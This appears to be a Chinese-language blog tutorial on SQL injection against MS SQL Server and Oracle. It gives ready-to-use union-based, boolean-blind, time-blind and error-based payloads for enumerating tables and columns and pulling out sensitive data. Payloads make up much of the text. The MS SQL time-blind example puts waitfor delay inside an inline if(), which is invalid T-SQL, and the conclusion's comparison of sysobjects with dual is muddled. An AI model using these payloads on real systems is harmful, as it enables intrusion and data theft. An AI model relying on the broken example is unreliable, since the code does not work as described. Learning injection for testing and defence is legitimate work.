SQL注入(三)SQL server和Oracle注入

MS SQL和Oracle数据库注入原理及方法

1. MS SQL数据库简介

MS SQL,指的是微软的SQL Server数据库管理系统。它是一个广泛使用的关系数据库平台,为各种规模的应用程序提供了强大的数据存储、管理和查询功能。MS SQL提供了完整的数据库解决方案,包括数据库服务器的建立、使用和维护。其最高权限用户是sa,在Windows中与SYSTEM权限并列为最高权限。

2. Oracle数据库简介

Oracle数据库是由甲骨文公司开发的一款高性能关系数据库管理系统(RDBMS)。它具备高度的可靠性、可扩展性和可移植性,适合从小型系统到大型企业的多种应用。Oracle的最高权限为DBA,通常在Unix/Linux系统中与root权限对应。


MS SQL数据库注入方法

1. 联合查询注入

步骤:

  1. 判断注入点:最基本的方式是通过输入带有单引号的参数,如?id=1'。如果页面返回错误信息,说明存在SQL注入。
  2. 确定列数:通过order by语句逐步增加列数来猜测。例如:?id=1' order by 3--,如果不报错,则列数至少为3,直到某个数字引发报错,即可确定列数。
  3. 查找回显位:确定注入点后,通过union select来查找返回值。例如:

    ?id=1' union select null, 'test', null--

    如果页面上显示test,说明该列为回显位。

  4. 爆数据库名:在确定回显位后,可以通过查询数据库名进行测试:

    ?id=1' union select null, db_name(), null--
  5. 爆表名:MS SQL有一个系统表sysobjects,可以通过它查询表名:

    ?id=1' union select null, (select top 1 name from sysobjects where xtype='U'), null--
  6. 爆字段名:通过查询syscolumns获取某表的字段名:

    ?id=1' union select null, (select top 1 name from syscolumns where id=object_id('表名')), null--
  7. 获取数据:在确认表和字段后,可以逐步查询敏感数据:

    ?id=1' union select null, (select top 1 字段名 from 表名), null--

2. 布尔盲注

在没有回显位时,布尔盲注是一种可靠的方式。通过and条件判断查询的真假,并根据返回的页面变化推断数据。

  1. 猜解数据长度

    ?id=1' and len((select top 1 name from sysobjects where xtype='U'))>5--

    如果页面正常返回,说明字段长度大于5。

  2. 逐字符猜解:通过substring()函数逐个字符验证:

    ?id=1' and substring((select top 1 name from sysobjects where xtype='U'),1,1)='a'--

3. 时间盲注

时间盲注使用waitfor delay语句来引导页面延迟,从而判断注入结果。

?id=1' and if(substring((select top 1 name from sysobjects where xtype='U'),1,1)='a', waitfor delay '0:0:5', 0)--

如果页面延迟5秒返回,说明猜测的字符是正确的。


Oracle数据库注入方法

1. 联合查询注入

Oracle的注入与MS SQL类似,但有一些不同之处。例如,Oracle每次查询需要指定表,常用表为dual,且每次只能返回一行。

步骤:

  1. 判断注入点:同样使用单引号和and逻辑判断。例如:

    ?id=1' and 1=1--

    如果返回正常,再用and 1=2--验证,报错则表示存在注入。

  2. 确定列数:使用order by确定列数。

    ?id=1' order by 3--
  3. 查找回显位:通过union select找回显位,注意要指定表dual

    ?id=1' union select null, 'test', null from dual--
  4. 爆数据库信息:查询当前数据库实例名:

    ?id=1' union select null, (select instance_name from v$instance), null from dual--
  5. 爆表名:Oracle的表名可以通过user_tables表查询:

    ?id=1' union select null, (select table_name from user_tables where rownum=1), null from dual--
  6. 爆字段名:字段名存储在user_tab_columns表中:

    ?id=1' union select null, (select column_name from user_tab_columns where table_name='表名' and rownum=1), null from dual--
  7. 获取数据:在知道表和字段后,可以查询数据:

    ?id=1' union select null, (select 字段名 from 表名 where rownum=1), null from dual--

2. 布尔盲注

布尔盲注同样是利用返回页面的不同来判断数据。例如使用decode()函数来进行逐字符猜解:

?id=1' and 1=(select decode(substr(user,1,1),'S',1,0) from dual)--

通过字符逐个匹配,确定用户名。

3. 时间盲注

Oracle常用dbms_pipe.receive_message()函数来延迟返回结果:

?id=1' and 1=dbms_pipe.receive_message('RDS',5)--

如果页面延迟返回,则注入条件满足。

4. 报错注入

Oracle的报错注入可以通过触发数据库内部函数错误来获取数据。例如使用utl_inaddr.get_host_name()函数:

?id=1' and 1=utl_inaddr.get_host_name((select user from dual))--

通过这种方式,可以将查询的结果直接显示在报错信息中。


结论

MS SQL和Oracle数据库的注入技术虽然在原理上类似,但具体操作时有细节上的差异。MS SQL的sysobjects表和Oracle的dual表是两者的主要不同点。此外,Oracle的查询通常需要指定表和限制返回行数,而MS SQL则不需要这些额外的限制。对于复杂的SQL注入场景,结合布尔盲注、时间盲注以及报错注入等方法,可以更全面地获取数据库中的敏感信息。

评论区
头像